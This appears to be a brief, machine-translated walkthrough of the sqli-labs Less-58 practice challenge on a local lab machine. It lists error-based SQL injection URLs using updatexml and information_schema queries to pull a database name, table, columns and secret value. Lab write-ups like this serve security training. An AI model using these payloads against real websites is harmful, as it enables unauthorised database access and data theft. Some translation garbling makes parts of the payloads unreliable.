Single quotation mark closed successfully, but the union select result is incorrect
Http://192.168.136.128/sqli-labs-master/Less-58/?id=0 ' union select 1,2,3%23
Id= ' 0 ' is not the result, the data is not taken from the database
http://192.168.136.128/sqli-labs-master/Less-58/?id=1 '
But there was an error with MySQL.
Then use the error to fetch the data
http://192.168.136.128/sqli-labs-master/Less-58/?id=1 ' or Updatexml (1,concat (0x7e,database (), 0x7e), 1)%23
http://192.168.136.128/sqli-labs-master/Less-58/?id=1 ' or Updatexml (1,concat (0x7e, (select Group_concat (table_ Name) from Information_schema.tables where table_schema= ' challenges '), 0x7e), 1)%23
http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1 ' or Updatexml (1,concat (0x7e, (select Group_ Concat (column_name) from Information_schema.columns where table_schema= ' challenges ' and table_name= ' Su6mjhl7wa '), 0x7e), 1)%23
http://192.168.136.128/sqli-labs-master/Less-58/index.php?id=1 ' or Updatexml (1,concat (0x7e, (select Secret_ C3h8 from Su6mjhl7wa limit 0,1), 0x7e), 1)%23
Complete
"Sqli-labs" less58 get-challenge-double Query-5 queries Allowed-variation1 (GET type Challenge double query only allows 5 query changes 1)